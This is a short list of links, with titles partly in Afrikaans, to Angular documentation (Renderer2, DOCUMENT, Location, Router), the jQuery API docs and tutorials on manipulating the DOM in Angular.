* [Angular Renderer2](https://angular.io/api/core/Renderer2)
2024-02-11 02:07:06 +00:00
* [Renderer2-voorbeeld: Manipulering van die DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API-dokumentasie](http://api.jquery.com/)
* [Hoe om jQuery met Angular te gebruik (Wanneer jy absoluut moet)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)